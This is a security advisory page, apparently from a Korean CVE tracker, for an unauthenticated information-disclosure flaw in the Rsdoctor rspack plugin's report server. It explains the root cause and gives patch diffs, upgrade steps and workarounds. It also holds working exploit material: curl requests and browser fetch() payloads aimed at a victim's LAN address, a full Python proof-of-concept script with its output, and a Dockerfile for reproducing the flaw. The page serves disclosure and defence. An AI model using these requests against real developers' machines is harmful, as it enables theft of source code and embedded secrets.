Kestrel
대시보드로 돌아가기
CVE-2026-61782HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 09. 24.수정일: 2026. 09. 24.

@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

Info-Disclosure

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
—

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: *). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.

Details

Root cause: server binds to all interfaces with no authentication and no key allowlist.

The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:

1. Server binds to 0.0.0.0 (all interfaces)

packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.

text
1// packages/utils/src/build/server.ts:83,107
2server.listen(port, () => { // no host → 0.0.0.0
3 resolve(res);
4});

2. Wildcard CORS enabled unconditionally

packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: * explicitly on every API response, allowing cross-origin browser requests from any domain.

text
1// packages/sdk/src/sdk/server/index.ts:106
2this.app.use(cors());
3// :203
4res.setHeader('Access-Control-Allow-Origin', '*');
5res.setHeader('Access-Control-Allow-Credentials', 'true');

3. POST /api/data/key registered with no authentication middleware

packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.

text
1// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
2@Router.post(SDK.ServerAPI.API.LoadDataByKey)
3public async loadDataByKey() {
4 let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;
5 const data = await this.loadData(key);
6 return data;
7}

4. key is passed to getStoreData() without an allowlist

packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.

text
1// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
2const data = this.ctx.sdk.getStoreData();
3let res = data[key];
4if (key.includes(sep)) {
5 res = key.split(sep).reduce((t, k) => t[k], data);
6}
7return res;

Source-to-sink data flow:

StepLocationDescription
1packages/rspack-plugin/src/plugin.ts:111Plugin bootstraps the SDK server during build
2packages/core/src/inner-plugins/utils/config.ts:98,110–115disableClientServer defaults to false; server starts in all non-CI builds
3packages/utils/src/build/server.ts:83,107HTTP server created and bound to 0.0.0.0
4packages/sdk/src/sdk/server/index.ts:106,203Wildcard CORS applied unconditionally
5packages/sdk/src/sdk/server/apis/data.ts:6,13,29Attacker key accepted from request body
6packages/sdk/src/sdk/server/apis/base.ts:29,36,39key indexes sdk.getStoreData() with no allowlist
7packages/sdk/src/sdk/sdk/index.ts:487,491moduleCodeMap getter calls _moduleGraph.toCodeData()
8packages/graph/src/graph/module-graph/graph.ts:464–469toCodeData() returns all module source objects
9packages/graph/src/graph/module-graph/module.ts:248–250Each module exposes source, transformed, and parsedSource
10packages/sdk/src/sdk/server/router.ts:119,125Serialized result written to HTTP response

Default configuration ensures source code is captured:

packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.

PoC

Original PoC

Environment setup:

bash
1# Create and enter a temporary project directory
2mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
3pnpm init
4
5# Install the vulnerable version
6pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11
7
8# Create a source file embedding a secret
9mkdir src
10cat > src/index.js <<'EOF'
11const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';
12console.log(INTERNAL_API_KEY);
13EOF
14
15# Create rspack config with the Rsdoctor plugin (default settings)
16cat > rspack.config.js <<'EOF'
17const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');
18module.exports = {
19 mode: 'development',
20 entry: './src/index.js',
21 output: { path: __dirname + '/dist', filename: 'bundle.js' },
22 plugins: [new RsdoctorRspackPlugin()]
23};
24EOF
25
26# Run rspack — the Rsdoctor HTTP server starts automatically
27pnpm rspack -c rspack.config.js
28# Note the printed port, e.g.: http://<lan-ip>:3717/index.html

Exploit (from any host on the same LAN, no authentication):

bash
1# Primary probe: exfiltrate all module source code
2curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
3 -H 'Content-Type: application/json' \
4 --data '{"key":"moduleCodeMap"}'
5# Response: full source code of every compiled module, including secrets

Expected response (excerpt):

text
1{
2 "...": "...",
3 "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
4 "...": "..."
5}

Secondary probe: exfiltrate build configuration and local paths:

bash
1curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
2 -H 'Content-Type: application/json' \
3 --data '{"key":"configs"}'
4# Response: 9,278 bytes of serialized build configuration including absolute file paths

Automated PoC (Docker-based, self-contained reproduction):

The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:

text
1============================================================
2VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
3============================================================
4[*] Detected Rsdoctor server on port: 3717 (after 3s)
5[*] Running PoC exploit against http://127.0.0.1:3717 ...
6[*] Target URL : http://127.0.0.1:3717/api/data/key
7[*] Payload : {"key": "moduleCodeMap"}
8[*] Auth header : (none)
9[+] HTTP status : 200
10[+] Response size: 738 bytes
11[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
12[+] Context around secret:
13 ...NEVER be able to read this content via an unauthenticated HTTP API.
14const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
15console.log(RSDOCTOR_SECRET_MARKER);
16module.exports = { secret: RSDOCTOR_SECRET_MARKER };
17...
18[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
19[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes

Recommended patch:

text
1--- a/packages/utils/src/build/server.ts
2+++ b/packages/utils/src/build/server.ts
3-export async function createServer(port: number): Promise<{
4+export async function createServer(
5+ port: number,
6+ host = '127.0.0.1',
7+): Promise<{
8- server.listen(port, () => {
9+ server.listen(port, host, () => {
10 resolve(res);
11 });
text
1--- a/packages/sdk/src/sdk/server/index.ts
2+++ b/packages/sdk/src/sdk/server/index.ts
3 public get host(): string {
4- const host = getLocalIpAddress();
5- return host;
6+ return '127.0.0.1';
7 }
8- this._server = await Server.createServer(port);
9+ this._server = await Server.createServer(port, this.host);
10- this.app.use(cors());
11- res.setHeader('Access-Control-Allow-Origin', '*');
12- res.setHeader('Access-Control-Allow-Credentials', 'true');
Minimal browser-based PoC

A malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to 127.0.0.1 or localhost.

text
1fetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', {
2 method: 'POST',
3 headers: {
4 'Content-Type': 'application/json',
5 },
6 body: JSON.stringify({
7 key: 'moduleCodeMap',
8 }),
9})
10 .then((res) => res.json())
11 .then(console.log);

If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:

text
1fetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', {
2 method: 'POST',
3 headers: {
4 'Content-Type': 'application/json',
5 },
6 body: JSON.stringify({
7 key: 'moduleCodeMap',
8 }),
9})
10 .then((res) => res.json())
11 .then(console.log);

In affected versions, the response may contain sensitive build metadata or compiled module source code.

Impact

This is an unauthenticated remote information disclosure vulnerability. Any attacker who can reach the developer's machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:

  • Full JavaScript source code of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (moduleCodeMap)
  • Serialized build configuration, including absolute local file paths, resolver settings, and plugin configurations (configs)
  • Build errors that may contain stack traces with internal paths (errors)
  • Environment information (envinfo)

The server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (disableClientServer defaults to false). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.

Impacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.

Patched Behavior

The patched version changes the report server's default security model:

  • The report server binds to 127.0.0.1 by default.
  • Default CORS no longer allows arbitrary origins.
  • Default CORS only allows local origins such as localhost, *.localhost, 127.0.0.1, and [::1].
  • Passing a partial CORS object preserves the default local-origin protection.
  • HTTP requests are rejected when the request host is not allowed.
  • The report WebSocket requires a per-server token.
  • The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.

Upgrade Path

Upgrade Rsdoctor packages to the patched version:

text
1pnpm add -D @rsdoctor/rspack-plugin@^1.5.16

Most users do not need additional configuration after upgrading.

CORS Configuration Behavior

The patched version aligns Rsdoctor's CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.

User configuration server.corsEffective CORS behavior
undefinedEnables CORS for default local origins only
falseDisables CORS middleware
trueUses cors({}); effectively allows arbitrary origins and is not recommended
{ credentials: true }Keeps default local origins and adds credentials: true
{ origin: 'https://example.com' }Allows only the configured origin
{ origin: '*' }Allows arbitrary origins and is not recommended
{ origin: false }Does not set Access-Control-Allow-Origin
{ origin: fn }Uses the custom origin function
{ origin: /regex/ }Uses the custom regular expression
Recommended configuration

For most users, leave server.cors unset:

text
1new RsdoctorRspackPlugin();

If another local development frontend needs to access the report server, configure an exact origin:

text
1new RsdoctorRspackPlugin({
2 server: {
3 cors: {
4 origin: 'http://localhost:3000',
5 credentials: true,
6 },
7 },
8});

Avoid permissive CORS configuration:

text
1new RsdoctorRspackPlugin({
2 server: {
3 cors: true,
4 },
5});
text
1new RsdoctorRspackPlugin({
2 server: {
3 cors: {
4 origin: '*',
5 },
6 },
7});

These configurations explicitly opt out of the safer default CORS behavior.

Breaking Changes

The patched version intentionally tightens the report server's access model.

1. The report server is local-only by default

The report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.

If your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.

2. Cross-origin access is restricted by default

Web pages from non-local origins can no longer read report server responses by default.

If you have a trusted local integration, configure the exact allowed origin through server.cors.origin.

3. Custom WebSocket clients must use the tokenized socket URL

The report WebSocket now requires a per-server token.

Custom clients must not construct the socket URL manually, for example:

text
1new WebSocket('ws://localhost:<port>');

Instead, they must use the tokenized socket URL provided by the report runtime data.

4. server.cors: true remains an explicit opt-out

server.cors: true uses the default behavior of the cors middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.

Workarounds

If upgrading immediately is not possible, users can reduce exposure by disabling the report server:

text
1new RsdoctorRspackPlugin({
2 disableClientServer: true,
3});

Additional mitigations:

  • Do not expose the report server port to untrusted networks.
  • Do not use server.cors: true.
  • Do not use server.cors.origin: '*'.
  • Run builds only in trusted local environments.
  • Block external access to the report server port with firewall rules.

These workarounds do not fully address every attack path. Upgrading to a patched version is recommended.

Reproduction artifacts

Dockerfile
sql
1# Dockerfile for VULN-001 dynamic reproduction
2# Vulnerability: Unauthenticated HTTP API exposes project source code
3# Package: @rsdoctor/rspack-plugin@1.5.11
4# Endpoint: POST /api/data/key (no auth required)
5# CWE-200 / CVSS 7.5 High
6
7FROM node:24-slim
8
9# Install Python3 (for poc.py)
10RUN apt-get update && \
11 apt-get install -y --no-install-recommends python3 && \
12 rm -rf /var/lib/apt/lists/*
13
14# Install pnpm (version required by rsdoctor monorepo engine spec)
15RUN corepack enable && corepack prepare pnpm@10.33.4 --activate
16
17# ── Vulnerable project setup ──────────────────────────────────────────────────
18WORKDIR /poc
19
20# Minimal package.json
21RUN echo '{"name":"rsdoctor-poc","version":"1.0.0","private":true}' > package.json
22
23# Install the vulnerable plugin version and rspack peer dependency
24RUN pnpm add -D \
25 "@rspack/core@^2.0.8" \
26 "@rspack/cli@^2.0.8" \
27 "@rsdoctor/rspack-plugin@1.5.11"
28
29# Copy the project source tree (contains a secret marker)
30COPY project/ /poc/
31
32# Provide a stub xdg-open so the 'open' npm package does not trigger an
33# uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before
34# the PoC can connect.
35RUN printf '#!/bin/sh\nexit 0\n' > /usr/bin/xdg-open && chmod +x /usr/bin/xdg-open
36
37# ── PoC and entrypoint ────────────────────────────────────────────────────────
38COPY poc.py /poc.py
39COPY entrypoint.sh /entrypoint.sh
40RUN chmod +x /entrypoint.sh
41
42ENTRYPOINT ["/entrypoint.sh"]
poc.py
python
1#!/usr/bin/env python3
2"""
3PoC for VULN-001: Unauthenticated HTTP API exposes project source code
4via /api/data/key in @rsdoctor/rspack-plugin@1.5.11
5
6Affected endpoint: POST /api/data/key
7No authentication required. Sending {"key":"moduleCodeMap"} returns
8the full source code of all compiled modules.
9
10CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
11CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
12"""
13import sys
14import json
15import urllib.request
16import urllib.error
17
18SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123"
19REQUEST_TIMEOUT = 15
20
21
22def exploit(port: int) -> bool:
23 """
24 Send unauthenticated POST /api/data/key with key=moduleCodeMap.
25 Returns True if secret marker is found in the response (PASS).
26 """
27 url = f"http://127.0.0.1:{port}/api/data/key"
28 print(f"[*] Target URL : {url}")
29 print(f"[*] Payload : {{\"key\": \"moduleCodeMap\"}}")
30 print(f"[*] Auth header : (none)")
31 print(f"[*] Secret text : {SECRET_MARKER}")
32 print()
33
34 payload = json.dumps({"key": "moduleCodeMap"}).encode("utf-8")
35 req = urllib.request.Request(
36 url,
37 data=payload,
38 headers={"Content-Type": "application/json"},
39 method="POST",
40 )
41
42 try:
43 with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
44 body = resp.read().decode("utf-8", errors="replace")
45 status = resp.status
46 except urllib.error.HTTPError as exc:
47 print(f"[-] HTTP error: {exc.code} {exc.reason}")
48 return False
49 except urllib.error.URLError as exc:
50 print(f"[-] Connection error: {exc.reason}")
51 return False
52
53 print(f"[+] HTTP status : {status}")
54 print(f"[+] Response size: {len(body):,} bytes")
55
56 if SECRET_MARKER in body:
57 print(f"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}")
58 print()
59 # Show the surrounding context (first 300 chars around the marker)
60 idx = body.index(SECRET_MARKER)
61 start = max(0, idx - 100)
62 end = min(len(body), idx + len(SECRET_MARKER) + 100)
63 snippet = body[start:end].replace("\\n", "\n")
64 print(f"[+] Context around secret:")
65 print(f" ...{snippet}...")
66 print()
67 print("[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API")
68 return True
69 else:
70 print("[-] Secret marker NOT found in response")
71 print(f"[-] Response preview (first 500 bytes): {body[:500]!r}")
72 print("[FAIL] Could not confirm source code leakage")
73 return False
74
75
76def probe_configs(port: int) -> None:
77 """Secondary probe: check if build configs/paths are also exposed."""
78 url = f"http://127.0.0.1:{port}/api/data/key"
79 payload = json.dumps({"key": "configs"}).encode("utf-8")
80 req = urllib.request.Request(
81 url,
82 data=payload,
83 headers={"Content-Type": "application/json"},
84 method="POST",
85 )
86 try:
87 with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
88 body = resp.read().decode("utf-8", errors="replace")
89 print(f"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes")
90 except Exception as exc:
91 print(f"[*] Secondary probe (key=configs) failed: {exc}")
92
93
94def main() -> None:
95 if len(sys.argv) != 2:
96 print(f"Usage: {sys.argv[0]} <port>")
97 sys.exit(1)
98
99 try:
100 port = int(sys.argv[1])
101 except ValueError:
102 print(f"[-] Invalid port: {sys.argv[1]!r}")
103 sys.exit(1)
104
105 print("=" * 60)
106 print("VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak")
107 print("=" * 60)
108
109 success = exploit(port)
110 print()
111 probe_configs(port)
112
113 sys.exit(0 if success else 2)
114
115
116if __name__ == "__main__":
117 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.